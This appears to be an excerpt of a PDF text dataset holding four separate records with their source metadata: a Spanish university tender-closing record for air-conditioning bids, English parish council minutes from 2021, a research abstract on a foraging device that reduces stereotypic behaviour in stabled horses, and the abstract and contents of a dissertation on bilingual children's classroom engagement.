ACTA DE CIERRE DE PROPUESTA LICITACION Nº12 DE 2016 SUMINISTRO, INSTALACIÓN Y PUESTA EN MARCHA DE AIRES ACONDICIONADOS PARA LA SEDE CENTRAL DE LA UNIVERSIDAD FRANCISCO DE PAULA SANTANDER. FECHA: 9 de diciembre de 2016 HORA: 04:00 de la tarde LUGAR: Secretaría General ASISTENTES: FUNCIONARIO: ADRIANA RODRIGUEZ LIZCANO, Secretaria General PUNTO UNICO: Cierre de propuesta Licitación N°12 de 2016. Habiéndose recibido tres (3) propuestas (original y copia) en la Secretaria General de la UFPS, a la hora señalada para el cierre de la Licitación y propuestas, numeradas según orden de recepción, así: | Nº | PROPOSITOR | FOLIOS | VALOR | |----|------------|--------|-------------| | 01 | TODO LINEAS S.A.S | 101 | 620.616.240 | | 02 | RUBEN BOADA BALLESTEROS | 146 | 620.308.070 | | 03 | JESUS ALFONSO CASTAÑEDA LEON | 90 | 620.600.000 | Siendo las 04:20 de la tarde, se levanta la presente Acta. ADRIANA RODRIGUEZ LIZCANO Secretaria General Amparo R
<urn:uuid:7810377a-68df-418d-bbac-aad979743c16>
HuggingFaceFW/finepdfs/tree/main/data/spa_Latn/train
finepdfs
spa_Latn
974
Stoke Climsland Parish Council Annual Parish Council Meeting 17 th May 2021 at p.m. Stoke Climsland Parish Hall* Minutes PRESENT: Sarah Ross (SR); Nigel Cooper (NJC); Stuart Cazaly (SC): Jerry Forbes (JF); Richard Davies (RD); Calvin Roper (CR); David Crawley (DC); Bonnie Lightfoot (BL); Matin Howlett (MH) IN ATTENDANCE: Cllr Adrian Parsons, no members of the public MINUTES: Ren Jackaman – Parish Clerk 1. To receive apologies for absences: None – all councillors were present. 2. Appointment of Chair: SR opened the meeting by thanking NJC for his work as Vice Chair and RJ as clerk and all councillors for their work and support over her term as Chair. It was proposed by SR and seconded by SC that Nigel Cooper be elected as Chairman, all in favour with one abstention. NJC took over the meeting and thanked SR for her service as Chair during her term of office. 3. Appointment of Vice Chair: It was proposed by SC and seconded by SR that Bonnie Lightfoot be elected as Vice Chairman, all in favour with one abstention. 4. Notice of Vacancy and of co-option opportunity: A vacancy exists for one councillor following the uncontested election. Notice of the vacancy will be published and candidates invited to express interest for consideration at the next ordinary meeting. 5. Adoption of revised Code of Conduct 2021 (version Local Councils 10.5.): (The revised Code of Conduct had been circulated as pre-reading). It was proposed by SR, seconded by DC and RESOLVED to adopt the new Code of Conduct. 6. Approval of Scheme of Delegation prior to full lifting of Covid 19 restrictions: (The Scheme of Delegation had been circulated as pre-reading). The Council delegates authority to the Clerk in consultation with the Chairman and Vice Chairman to take any actions necessary with associated expenditure to protect the interests of the community and ensure council business continuity, informed by consultation with the members of the council. The scheme of delegation will be reviewed no later than September 2021. It was proposed by DC, seconded by SC and RESOLVED to adopt the scheme of delegation, all in favour. 7. Internal audit report for year ended 31st March 2021: (The Internal Auditor's Report had been circulated as pre-reading). It was proposed by RD, seconded by SR and RESOLVED to approve the Internal Auditor's Report, all in favour, with two abstentions. 8. External audit submission for year ended 31st March 2021: (The External Audit documents had been circulated as pre-reading). * Annual Governance Statement It was proposed by SR, seconded by SC and RESOLVED to approve the Annual Governance Statement, all in favour. * Accounting Statement It was proposed SC, seconded by BL and RESOLVED to approve the Accounting Statement, all in favour. * Notice of Public Rights It was proposed DC, seconded by RD and RESOLVED to approve the Notice of Dates for Exercising Public Rights, all in favour. 9. Notice of potential deferral of Annual Parish Assembly The parishioners and stakeholders have previously been consulted as to whether they would be willing to attend a remote Parish Assembly and the majority did not favour this option. It was also established that stakeholders have little to report as Covid 19 restrictions have prevented most of their usual activities. The desire was repeatedly expressed to wait until meeting physically is possible. Subsequently, it has not been possible to hold a physical parish assembly due to the continued restrictions on meeting physically. It is now no SCPC/APCM/Ye2022-3 longer possible to hold the meeting via remote means prior to the deadline of 1 st June. Discussion took place around how to make a suitable compromise around this difficult issue. It was determined that those stakeholders who could make a written report, be asked to do so and that these reports should be published via the website. It was also determined that there was a general desire to hold a meeting or celebration for the parish once Covid 19 is ended. This aspiration to be pursued as and when appropriate. 10. Review of Parish Council's policies and procedures It was determined that as both Standing Orders and Financial Regs have been reviewed in the past 12 months because of the need to add in clauses relating to Covid 19, they need not be reviewed again at this time. It was further determined that those policies which were not issued in the last 12 months and which would therefore normally be subject to review at the annual meeting, be deferred and reviews carried out throughout ye 2022. 11. Councillor roles/responsibilities The existing list of councillors' roles and responsibilities is out of date and needs amending to remove obsolete roles and add new ones. It was determined that all councillors with existing responsibility be asked to continue in those roles whilst the list of roles is reviewed and amended for approval at the next Ordinary Meeting. 12. Public comment NJC welcomed Adrian Parsons to the meeting, who introduced himself as the new Ward Member for the recently created district of Stoke Climsland & Altarnun. DC asked Cllr Parsons to take forward a complaint about the non-green nature of the election candidate application process, especially the waste of paper and the requirement to physically travel to submit the application forms. Cllr Parson recommended that a complaint be forwarded to Democratic Services. 13. Meeting Closed at 20:04 *Note: this meeting took place in the Parish Hall under strict Covid 19 protocols. Attendees were obliged to wear a facemask, maintain social distancing and follow the directions given to ensure public safety. Attendees were required to sign in and a log kept of contact details. This was necessary following the failure to renew the temporary legislation allowing Parish and Town Councils to meet remotely during Covid 19. Consequently, as many items as possible were deferred and a scheme of delegation ratified in order to allow the council to operate without the requirement of meeting physically until it was safe to do so.
<urn:uuid:a4be9097-8b4e-4c76-a16b-929696f5400a>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
6,108
Behavioural Enrichment For Horses: The Effect Of Foraging Device (The "Equiball") On The Performance Of Stereotypic Behaviour In Stabled Horses. J V Henderson\(^1\), N K Waran\(^2\) & R J Young\(^3\) \(^1\) Bio-Enzineering, Silsoe Research Institute, Wrest Park, Silsoe, Beds, MK45 4HS. \(^2\) IERM, The University of Edinburgh, King's Buildings, West Mains Road, Edinburgh, EH9 3JG. \(^3\) Edinburgh Zoo, Murrayfield, Edinburgh, EH12 6TS. Introduction Stereotypic behaviour patterns are well documented in both domestic horses and captive wild horses. Surveys of stabled horses in the UK have indicated that over 15% of horses exhibit what are commonly termed stable vices, such as weaving and crib-biting. Many of these behaviours can adversely affect the health of animals, and give rise to concern for their welfare. Once established, stereotypies are incredibly difficult to disrupt using traditional treatment methods (physical prevention, turn out to pasture, surgical procedures, and aversion therapy). Time spent feeding is believed to be one of the most important causal factors of equine stereotypies. In the wild, horses will feed for short periods throughout most of the day and night, whereas most domesticated horses receive all their daily food in just two concentrated rations. Whilst this may satisfy the horses nutritional requirements, reduced time manipulating and ingesting food may contribute to the development of stereotypies. Indeed, Marsden (1993) found that time spent performing abnormal behaviour was negatively correlated with time spent foraging. Turning a horse out to pasture is generally agreed as being the best way to reduce stereotypies (e.g Fraser, 1992). However, this is not always possible, for example, due to time constraints, bad weather, and the financial value of the horse. Even if a horse is turned out to pasture, stereotypies are likely to return when the horse is put back in its stable. Traditionally, equine stereotypies have been controlled by various gadgets which physically prevent an animal from performing the behaviour; examples of such gadgets are crib-collars, anti-weave bars, and shock-collars. Physical prevention of stereotypies has been found to lead to a rise in corticosteroids, however, and these methods may therefore be associated with stress. Some researchers feel that stereotypic behaviours are mechanisms which help an animal to cope with particular situations or environments, and that if an animal's expectations are not met by their environment they will seek stimulation internally. This homeostatic hypothesis of stereotypies appears to be supported by recent research which found that the heart rate of horses often rose a few seconds before cribbing bouts, and was statistically lower ($p<0.02$) when horses were cribbing than during all other behaviour patterns (Minero et al, 1996). If we are to treat stereotypies, it would therefore seem a better approach to aim to examine the cause of the behaviour, rather than just the symptoms. A behavioural enrichment technique which increased foraging time (without increasing food intake) could be a useful tool in preventing and/or reducing equine stereotypies. **Behavioural enrichment** Behavioural enrichment is a technique which is used to change the environments of captive animals for the benefit of the inhabitants. The goals of behavioural enrichment include increasing behavioural diversity, and decreasing the frequency of abnormal behaviour. Stereotypies in autistic children and chimpanzees are reduced when toys are present in the environment (e.g. Hutt & Hutt, 1965; cf. Kiley-Worthington, 1977), and there are currently a number of "stable-toys" available which claim to reduce stable vices. Providing animals with methods of self-dispensation of food increases their level of control over the environment, and hiding food in manipulable objects reduces stereotypic pacing in captive American black bears. **The enrichment device** The enrichment device used in this study was the modified "Edinburgh Foodball", as used by Winskill et al, 1996. This device is currently being marketed as the "Equiball" (UK Patent No. GB 2253329), and this name shall be used in this abstract. The Equiball is a cylindrical device designed to provide small food rewards relatively randomly in space and time, as it is pushed around the floor by the horse. It is filled with a suitable horse and pony nut or course mix, which can be dispensed through a number of small holes (a detailed description of the mechanics of this device is given by Young et al, 1994). Winskill et al. (1996) found that the Equiball increased species-typical behaviour in stabled horses, and suggested the device may reduce stereotypic behaviour. **Materials & Methods** This study investigated the influence of the Equiball on the performance of equine stereotypies. Six horses (3 mares & 3 geldings; ages 3-20 years) exhibiting stereotypic behaviour (2 weaving, 2 crib-biting, 1 windsucking, 1 box-walking) were subjected to the following treatments: Baseline (days 1-3), normal management practices followed; known quantities of concentrates and hay fed twice daily; Enrichment (days 4-8), baseline evening concentrated feed replaced by introduction of the Equiball, and the device then left in the stable continuously; hay fed as during baseline. All study animals were stabled for at least 20 hours per day. The horses were videoed continuously using 24-hour time lapse, and behavioural data collected by 2-minute instantaneous scan sampling. **Results** 1. **Stereotypic Behaviour** During baseline horses spent an average 5.27% (1.817 SD) of time in the stable performing stereotypy. Significant individual variation in mean time performing stereotypic behaviour was found during baseline (Kendall's Concordance, N=6, W=0.0554, p<0.05). Several peaks in stereotypy over the day were found; mainly corresponding to pre-feeding times. 2. **Foodball Use** During enrichment horses used the Equiball on average, for 6.3% (1.923 SD) of their time in the stable. All horses tended to use their nose to push the ball, and occasionally a foreleg. Significant individual variation in time spent using the ball was found (Kendalls Concordance, W=0.497, p<0.05). Most horses used the ball as soon as it was filled, and ball use generally declined overnight. Equiball use was highly reinforcement dependant, and tended to decrease over the enrichment period. Several individual patterns of foodball use were observed: (i) using the ball continually until almost empty; (ii) alternating between bouts of eating hay and bouts of ball use; and (iii) only using the ball once all hay had been eaten. It was interesting to observe that horses tended to use the foodball more in straw-covered areas of the stable, than in the cleared concrete area (where it would be easier to find dispensed food). 3. Effect of the Equiball on Stereotypic Behaviour. A reduction in stereotypic behaviour in five horses, and an increase in stereotypic behaviour in one horse was observed during enrichment. During enrichment there was an overall trend for stereotypic behaviour to decrease (Wilcoxon matched pairs, N=6, W=2, p<0.1). During enrichment, maximum levels of stereotypy were reduced; in particular the two peaks originally found prior to feeding. Between the hours of 10:00 and 18:30, levels of stereotypy were consistently lower during enrichment. Between approximately 18:30 and 22:30, more stereotypic behaviour tended to be seen during enrichment than during baseline(mainly seen in cribbing horses). Discussion A number of studies have illustrated that horses can perform some learning tasks successfully, and others with great difficulty. This study found that using the Equiball is a task that horses learn easily. It appeared that older horses, or animals that have a strong association between humans and food take longer to learn how to use the foodball, and some horses appeared to use the foodball most when left alone in the stable. Some horses would use the foodball only after eating all the hay provided, whilst other horses would alternate between eating hay and eating from the foodball. The study has illustrated how variable equine behaviour problems are; each one having its own causal factors and manifestations. Significant intra-individual, as well as inter-individual variation in the performance of stereotypy was found. In this study there appeared to be 5 main factors influencing stereotypy: (i) Increased arousal due to anticipation of feeding; (ii) Increased arousal due to presence of other horses &/or humans near the stable, or in the stable; (iii) Removal of neighbouring horses (iv) Restraint (v) Low environmental stimuli. Anticipation of feeding was often a trigger for both oral and locomotory stereotypies. It was interesting to note that whilst considerable frustration-related behaviour was seen in one cribber prior to feeding, crib-biting did not often occur at this time. Stereotypies were reduced in all horses when hay was available, and weaving was usually associated with increased levels of arousal. It appeared that the same stereotypy could have very different causes in different animals. The results of this experiment showed that when horses were given their evening feed in the Equiball, there was a trend for stereotypic behaviour to be reduced. Although this reduction was not highly statistically significant, the Equiball still appears to be a useful enrichment device, as any reduction in stereotypic behaviour may be considered an improvement in welfare. It appeared that the foodball was most beneficial in the treatment of stereotypies related to food. By extending feeding overnight, the foodball also appeared to reduce stereotypies by reducing levels of feeding motivation in the morning. The reduction in weaving seen in one horse cannot be connected to Equiball use, as virtually no physical interaction with the device was seen during enrichment (probably due to lack of feeding motivation). The decrease may instead reflect variation in stereotypy over time, or could arise from the presence of a novel object in the stable. It is likely that the decrease in stereotypy was caused by the increased human contact facilitated by the enrichment routine, as this animal did not weave whilst people were in the stable. Between approximately 18:45 and 22:40 (i.e. after evening feed) there was consistently more stereotypic behaviour during enrichment. There are a number of explanations for this. Firstly, all horses were conditioned to expect a bucket feed twice a day. During enrichment, some horses appeared frustrated by the sight of other animals getting their usual evening feed. Stereotypy may therefore have increased due to frustration caused by animals thinking they had "missed out". A solution to this would be to give the Equiball to animals in addition to a small bucket feed. A second explanation for the increased stereotypy during enrichment is that feeding on concentrates over a longer period led to increased release of endorphins, which has been found to increase crib-biting, as described by Dodman et al. (1987). An examination of individual changes in stereotypy supports this theory, as noticeable overnight increases in stereotypy were seen in the two cribbers, but not in the weavers. For stereotypies that appeared to be caused by single acute stressors, the Equiball did not provide enough distraction to affect the stereotypy. In less "stressful" situations, however, the ball did prove a useful tool to prevent stereotypy. For example, feeding from the ball provided enough distraction to prevent one horse noticing a neighbouring horse was being removed from the yard. Consequently, no box-walking occurred. Foodball use was highly reinforcement dependant. Most horses would rarely approach the ball once it was empty, apart from short bouts when they appeared to be "checking" if it had been refilled (this behaviour was most often seen as feeding time approached). This indicates that for equine enrichment devices to be useful, they must offer some reward for the animal, and cannot rely on novelty alone. The general decline in foodball activity during enrichment may indicate that animals were using the ball less, as its novelty reduced. Alternatively, it could mean that horses were becoming more efficient in the way they fed from the ball. Several horses initially displayed frustration-related behaviour (e.g. pawing, tail swishing) as the ball became empty. After attempts to obtain food from the ball continued to be unsuccessful, most horses stopped interacting with the ball quickly, and frustration behaviour was no longer observed. In contrast, some horses tried to "break into" the ball when it became empty by kicking or biting the device. It would appear, therefore, that an empty foodball ought not to be left in the stable with some horses. Although use of the Equiball is unlikely to "cure" equine stereotypies, it has been shown to reduce their performance, and may help disrupt the pattern of established stereotypies, which have become very fixed over time. As discussed by Marsden (1995) treatment of equine stereotypies requires an assessment of each individual horses history, to gain an overall picture of how stereotypies may have developed. Thus, the Equiball may have potential as part of a combined treatment programme for affected horses. When used in conjunction with other measures such as behaviour therapy, companionship, increased exercise, and so on, the Equiball may help to create an environment less likely to lead to the development of stereotypic behaviour. The foodball may be especially useful in reducing the risk of stereotypy at times when owners wish to feed horses entirely on complete cubes (due to lack of storage space, expensive hay, etc.). The results of this study indicate that the Equiball can be especially useful as a short term distraction to mildly "stressful" events; for example, to prevent separation anxiety. It is likely that the foodball has potential for preventing the development of stereotypies when horses have to be stabled for long periods of time. Clearly more long term research into this area is needed. It would also be interesting also to investigate whether use of the foodball could reduce abnormal behaviours such as coprophagia. **Conclusion** The Equiball appears to have potential for reduction of certain equine stereotypies (especially food-related locomotory stereotypies). In conjunction with other measures such as behavioural therapy and increased exercise the device may help prevent the development of stereotypies, and may help disrupt the pattern of established stereotypies. The Equiball also appears to be useful as a short-term "distraction" to mildly stressful events (for example, to help prevent separation anxiety); and has the additional benefit of facilitating increased horse-owner contact. **References** Dodman, N.H; Shuster, L.; Court, M.H & Dixon, R. (1987). Investigation into he use of narcotic antagonists in the treatment of stereotypic behaviour patterns (cribbing) in the horse. Am. J. Vet. Res. v48(2): 311-319. Fraser, A.F. (1992). *The behaviour of the horse*. CAB International, Oxon. Kiley-Worthington, M (1977). Behavioural problems of farm animals. Oriel Press, Stocksfield. Marsden, M.D. (1993). Feeding practices have greater effect than housing practices on the behaviour and welfare of the horse. Proc. 8th Int. Livestock Symposium. University of Warwick. 6-9 July, 1993. Marsden, M.D. (1995). Behaviour problems in the horse. Course handout. Msc Applied Animal Behaviour & Animal Welfare, The University of Edinburgh. Mason, G.J. (1991). Stereotypes: A critical review. Anim. Behav. 41: 1015-1037. Minero, M; Odberg, F.O; Ferrante, V & Canali, E. (1996). Preliminary results on the relationship between heart rate and cribbing in horses. Proc. Measuring Behaviour -96. Winskill, L.C; Young, R.J; Channing, C.E; Hurley, J; & Waran, N.K (1996). The effect of a foraging device (a modified Edinburgh Foodball) on the behaviour of the stabled horse. Applied Animal Behaviour Science. V48 (1-2), pp25-35. Young, R.J; Carruthers, J & Lawrence, A.B. (1994). The effect of a foraging device (The "Edinburgh Foodball") on the behaviour of pigs. Appl. Anim. Beh. Sci. 39: 237-247.
<urn:uuid:212aa891-65cc-42d5-ae32-73d4d00e40b8>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
16,431
LANGUAGE MAKING IN CLASSROOMS WITH EMERGENT BI/MULTILINGUAL CHILDREN: RECOGNIZING ADDITIONAL WAYS OF ENGAGING A Dissertation in Curriculum and Instruction by Frances Nebus Bose © 2020 Frances Nebus Bose Submitted in Partial Fulfillment of the Requirements for the Degree of Doctor of Philosophy May 2020 The dissertation of Frances Nebus Bose was reviewed and approved* by the following: **Mari Haneda** Associate Professor of Education (English Language Learning and World Languages Education) and Applied Linguistics Dissertation Advisor Co-Chair of Committee **Christopher M. Schulte** Endowed Associate Professor of Art Education School of Art, J William Fulbright College of Arts and Sciences University of Arkansas Co-Chair of Committee **Athelstan Canagarajah** Edwin Erle Sparks Professor of Applied Linguistics, English, and Asian Studies **Gail Boldt** Professor of Language & Literacy Education **Kimberly A. Powell** Associate Professor of Education (Language, Culture & Society), Art Education, Music Education, and Asian Studies **Rose Mary Zbiek** Department Head, Curriculum & Instruction Abstract This dissertation research is a longitudinal classroom ethnography in a second-grade classroom in a public Northeastern suburban school. It is a story of surprise for me as researcher, as I discover the multiplicity of how engagement can be conceptualized in this English-medium classroom with emergent bi/multilingual children. As tensions flowed through children and teachers of different ethnolinguistic backgrounds often not able to communicate and connect across the boundaries of English and Chinese, engagement was not only the participation and contribution of children working with peers and teacher. Engagement was also what transpired when children worked in alliance with mobile technologies, objects, and sounds, such as video cameras, translation software, and tablet computers. Responding to multiple perspectives of language in the classroom, I approach this study of language and engagement by activating two different theoretical orientations. One is translinguism from socio and applied linguistics, where language practices are understood as semiotic and mobile resources. The other is the feminist new materialist concept of intra-action, as it is engaged in young children’s literacies. With these theoretical orientations, I give voice to the different ways in which children, teachers, and researcher conceptualize language differently. Furthermore, I suggest language practices are conceptualized as ethico-onto-epistemological fusions among participants in a classroom. As such, the focus is on what transpires in the connections between children, researchers, teachers, mobile technologies and objects in the classroom, and how this changes ways of recognizing engagement. Methodologically, this dissertation takes a diffractive approach to classroom ethnography. Throughout the school year, second graders and I filmed activities in the classroom with different cameras and then analyzed video footage of three specific moments, along with parents, peers, and teachers. These three moments were designated as the most significant of their first year in a U.S. school by two emergent bi/multilingual girls, Xi Xi Lu and Madeline. With the aim of centering the perspectives of these emergent bi/multilingual children, the dissertation focuses on in-depth video analysis and storytelling of the three moments. Critical to this analytical approach is the involvement of the multiple perspectives of Xi Xi Lu and Madeline’s teachers, parents, peers, as well as camera lenses, and the algorithmic language of software that influences what produces video and translations. I entangle my researcher involvement in the analysis such that my own parenting moments raising a child with multiple home languages for the first time intra-act with my experiences as novice researcher and experienced language educator. Building on critical and socioculturally-oriented work in elementary language and literacies, this work suggests participation and contribution in classrooms is realized through more than a human-oriented understanding of language practices such as different culturally-oriented ways of knowing, and social identities available when home languages and multimodal ways of expression are incorporated in classroom curriculum and pedagogy. Contributing to scholarship in K-5 language and literacies of emergent bi/multilinguals, my research extends this work by making explicit the multiplicity of ways engagement and language can manifest in culturally and linguistically diverse classrooms that we are not able to notice through humanist discourses. That is, I argue that opportunities to engage in a classroom change when language is reconceptualized as performatively constructed in the affective, semiotic, and material relations between human and non-human players and partners. From this reconceptualization of language, engagement can be theorized as the multiple ways of conceptualizing taking part in and/or contributing in classroom literacies, not necessarily foregrounding a child actively working with peers, teacher, or curriculum. Contributing to another body of work in scholarship in young children’s literacies taking a posthuman orientation, I assert there is a diversity of sonic material through diverse tones, pitches, rhythms of linguistic sound that is overlooked in classrooms with multilingual children. There are additionally varied ways of working with material objects that are overlooked. This is significant as both sonic diversity and material objects can create additional opportunities for engagement. Furthermore, I suggest how language and literacy intra-actions involve memories and ways of knowing from spaces and times across transnational school settings. Across the research areas of K-5 teaching emergent bilinguals and young children’s literacies, my research demonstrates that as educators we must harness the synergy of and recognize the productive differences and tensions emerging between classroom participants’ different ways of seeing, hearing, and feeling language. Pedagogically, this research is significant because it suggests that despite linguistic and cultural differences in classrooms, other ways of engaging that generate connections and bridges in intercultural classrooms can be recognized. Such connections have the potential to create larger changes across classrooms, schools, while engaging with families across communities. # Table of Contents Table of Figures .................................................................................................................. x Glossary ............................................................................................................................... xii Acknowledgements ........................................................................................................... xvi Chapter 1. Language Making in Room 246: Diffraction as an Approach to Classroom Ethnography for Hearing, Seeing, and Feeling Language ................................................. 1 Research Questions ............................................................................................................. 3 I. Purpose of Inquiry Situated across Interdisciplinary Research ...................................... 4 Why Study Language and Engagement in Classrooms with Emergent Bi/Multilingual Children? ................................................................................................................................. 4 How Engagement Matters ................................................................................................. 5 How Does ‘Language’ Matter ............................................................................................ 12 The Many Ways of Conceptualizing Language in Room 246 ........................................... 15 Two Interdisciplinary Areas of Scholarship That Enable Seeing, Hearing, and Feeling Language: A Brief Outline ......................................................................................... 26 II. Research Site/Participants: Engaging and Connecting Across Linguistic Difference ........ 31 Engaging in Language, Studying Engagement ................................................................... 31 Oakville School .................................................................................................................. 32 Engaging with and Identifying Child Research Participants ............................................. 34 Child, Teacher, and Researcher Participants Engaging .................................................... 36 How I Got to Know Children, Their Teachers, and Parents ............................................. 38 III. A Diffractive Approach to Ethnographic Classroom Research ..................................... 39 What is ‘Diffraction’? ....................................................................................................... 39 IV. Research Process .......................................................................................................... 42 From Ethnographer as Instrument to Diffractive Apparatus ........................................... 42 A. Rationale for a Diffractive Approach to Ethnographic Classroom Research: ............. 44 What Does It Make Possible? ......................................................................................... 44 B. How A Diffractive Approach to Classroom Ethnography Shaped Methods ............. 55 V. Data Analysis .................................................................................................................. 65 Material-Discursive Transcripts as a Language Making .................................................. 68 Experiences of Parent Entangled in Language Making of Material Discursive Transcripts 70 What a Material Discursive Data Analysis Makes Possible ............................................ 72 VI. Potential Limitations and Complications of a Diffractive Approach ............................. 73 Responding to Limitations ............................................................................................... 77 VII. Significance of the Study and Outline of Proceeding Chapters .................................... 78 Organization of Chapters and Arguments Made ................................................................. 78 Chapter 2. Diffracting Translingualism and Intra-Action as a Theoretical Approach to Hearing, Seeing, and Feeling Language Making ........................................................................... 85 Diffraction: A Theoretical Approach .................................................................................. 85 Theories and Orientations Diffracted in Analysis ............................................................... 89 Translingualism .............................................................................................................. 89 Intra-Action .................................................................................................................... 95 Chapter 3. Blogging Science: Additional Opportunities for Recognizing Engagement in Three Stories ......................................................................................................................... 104 Introduction ....................................................................................................................... 108 Three Stories of Blogging Science ..................................................................................... 110 Story #1: Re-placed Resources and Enfolded Memories produce Disjunctures Across China/U.S./home/School, Affecting ........................................................................ 110 Story #2: Different Ways of Meaning Across a School Year: 没有化, lalala Reprise..... 118 Story #3: Resources for Each Other, Extending Boundaries of Bodies Through Paralell Re-Working .................................................................................................................. 123 Classroom Repertoires as Dynamic Suggesting Engagement as Collective ..................... 131 Implications for Teacher Education and Linguistically and Culturally Diverse Classrooms. 134 Chapter 4. Google (Mis) Translate: Recognizing Additional Opportunities for Engagement Through Tensions Across Screen and Linguistic Borders ................................................. 137 Introduction ....................................................................................................................... 137 Translation in the Writing Workshop .................................................................................. 138 Reconceptualizing Translation as a Way to Engage ............................................................ 143 Language Making with Google Translate: A Funneling? .................................................... 144 Extending (Machine) Translation in K-5 Classrooms by Working Across Interdisciplinary Fields ......................................................................................................................... 145 Building from Literacy Translation .................................................................................. 146 Potentials for Children with Hardware and Software of Tablets ...................................... 147 Digital Devices: Transformations, Affective Connections, Algorithms, and Human-non-Human Networks. ........................................................................................................ 148 Bridging Insights of Diverse Fields Toward Extending (Machine) Translation in K-8 Classroom. ......................................................................................................................... 149 Analysis I: By Children, Student Teacher with Tablets, Human Translator, Google Translate ........................................................................................................................................ 149 More Possibilities with the Funnel? Translation Beyond Screen and Linguistic Borders .... 153 Analysis II: Returning to Analysis of the Writing Workshop Moment with the Funnel....... 155 Engaging in Tensions Through Toggling ........................................................................... 156 Not composing a written product in English, not socially connecting, what might be described as frustrations........................................................................................................... 158 Writer in English, no longer dependent on peer translator, writing not expressing intentions .................................................................................................................................................. 162 Child-teacher Connection, Yet Not Understanding or Being Understood ................................ 165 Toggling as Generative for Translation and Engagement .......................................................... 166 Connections to Classrooms: Engaging Tensions in Toggling to Inspire Possibilities in Composing with Google Translate .............................................................................................................. 169 Translation as Moving of Language Making in Room 246 ......................................................... 169 Recognizing Language Making in Translation ............................................................................. 170 Chapter 5. Post-Election Pajama Day Yut Nori: Engagement as Dis/Continuous and Dis/Located Transglocaltimematterings ........................................................................................................ 173 Focus of Inquiry: Post-Election Pajama Day Yut Nori .................................................................. 176 Theoretical Orientation: Diffracting Scalar Approaches ............................................................... 178 Rationale ........................................................................................................................................ 178 Theoretical Approach .................................................................................................................... 180 Short Story—Post-Election Pajama Day Yut Nori Moment .......................................................... 185 Analytical Retellings of the Short Story: Dis/continuities and Dis/locations ............................... 190 Transglocaltimemattering 1: Xi Xi Lu’s Chinese as Bounded, Pajamas, A Lunar New Year Monkey, In-between time of day ......................................................................................... 192 Transglocaltimemattering 2: Patrick’s Chinese as bounded, Marks on Yut .................................. 197 Transglocaltimemattering 3: Yut’s Korean, Sapphire ..................................................................... 199 Transglocaltimemattering 4: Korean, Chinese ............................................................................. 201 Transglocaltimemattering 5: “English Please,” Bonjour!, Chinese ............................................. 204 Transglocaltimemattering 6: A Circle ............................................................................................ 206 Repertoires of Language Making in Room 246 ........................................................................... 212 Chapter 6. Recognizing Engagement with Video: Tensions and Agency of Video as a Research Apparatus ........................................................................................................................................ 220 Surprises with Video in Room 246 ............................................................................................... 221 Two Theoretical Points of Departure: Diffracting Video as a Body and With a Human Body .................................................................................................................................................. 223 Video as a Body: Digital Participants, Researcher, Children ....................................................... 225 Video with a Human Body: Human-to-Human Connections with Video ........................................ 227 Video as an Apparatus of Knowledge Production: Producing Image, New Video, and Social Connections ........................................................................................................................................ 229 How Video of Room 246 is Produced .......................................................................................... 229 | Title | Page | |----------------------------------------------------------------------|------| | Video as a Body | 233 | | Video with a Human Body | 236 | | How Video Inspires New Video and Child-Researcher Connections | 240 | | Video as and with a human body | 241 | | v Social Connections and Language Play | 244 | | Video as a Body | 245 | | What Video in Room 246 Produces: The Tensions and Agency of Multiple Perspectives | 247 | | Rocks Jutting Out: Contrasts in Words versus Video to Conceptualize Language in Room 246 | 248 | | Rocks Jutting out: The Risk of Losing the Boundaries of Human Bodies | 248 | | Rocks Jutting Out: The Risk of De-Centering Written/Verbal Means of Connecting Across Families and Communities | 250 | | Agency of Multiple Perspectives | 251 | | Chapter 7. Enfolding Forward: How Does Moving with and Playing in Language Making Create Openings for Recognizing Engagement in Classrooms? | 256 | | Contributions to Academic Fields | 258 | | K-5 Bi/Multilingual Classrooms | 258 | | Early Childhood Literacies and Play | 263 | | Connections for Moving with and Playing in Language Making, Opening Translation in K-5 Linguistically and Culturally Diverse Classrooms | 264 | | Connections for Pre-Service and In-Service Teacher Education: Research Moving Forward | 268 | | References | 272 | Table of Figures Figure 1.1. Photo elicitation cards ................................................................. 3 Figure 1.2. Card sort interviews ........................................................................... 9 Figure 1.3. Excerpts from Room 246 classroom video ..................................... 22 Figure 1.4. English-dominant children moving to Mandarin sounds they don’t understand. ..... 24 Figure 1.5. Neel with red car .................................................................................. 26 Figure 1.6. Diffraction—a visual ............................................................................ 42 Figure 1.7. Image of diffractive ship—tangram structure created by Xi Xi Lu .............. 43 Figure 1.8. Methodological and theoretical tensions in Room 246 ............................... 46 Figure 1.9. Methods comprising diffractive apparatus ............................................. 47 Figure 1.10. Theoretical/methodological tension #1 ............................................... 49 Figure 1.11. Theoretical/methodological tension #2 ............................................... 50 Figure 1.12. Methods producing field texts to answer research questions .................. 56 Figure 2.1. What diffraction makes visible with theories and moment .......................... 88 Figure 3.1. December 16 science investigation ....................................................... 106 Figure 3.2. The first blog post created ..................................................................... 107 Figure 3.3. Tablet Xi Xi Lu Madeline. ..................................................................... 126 Figure 3.4. Parallel reworkings of Ice tape to create insulator .................................... 127 Figure 3.5. Patrick Materials Sounds. ..................................................................... 130 Figure 4.1. Pre-writing: Xi Xi Lu’s photograph (left), Madeline’s drawing (right) .......... 138 Figure 4.2. Screen shot from video produced by Madeline with Go Pro ..................... 139 Figure 4.3. Xi Xi Lu hops back after finger taps on tablet ........................................ 141 Figure 4.4. Xi Xi Lu speaks to tablet with Google Translate after what is understood as mistranslation. ........................................................................................................ 142 Figure 4.5 Mistranslation .......................................................................................... 143 Figure 4.6. Video elicitation interviews and ranking of writing workshop moment ........... 150 Figure 4.7. The translation is funny because wrong .................................................. 153 Figure 4.8. A pathway of toggling, a thick and dense mixture—cuts of language making from enfolding from figures 4.9-4.11. .................................................................................. 157 Figure 4.9. One cut of language making .................................................................... 159 Figure 4.10. A second cut of language making .......................................................... 163 Figure 4.11. A third cut of language making ............................................................. 166 Figure 5.1. Air quotes and photo elicitation cards ..................................................... 174 Figure 5.2. Xi Xi Lu and Google Translate Neural Network. ........................................... 174 Figure 5.3. 5/23/17 interview ......................................................................................... 176 Figure 5.4. Xi Xi Lu’s map of school ............................................................................. 180 Figure 5.5. Yut and Sapphire .......................................................................................... 186 Figure 5.6. Video footage from Clarisse with Go-Pro .................................................... 187 Figure 5.7. Sharing Yut .................................................................................................... 188 Figure 5.8. Decoding marks ............................................................................................ 189 Figure 5.9. Patrick attempts to decode yut. ................................................................... 190 Figure 5.10. 5/5/17 video elicitation interview ............................................................... 190 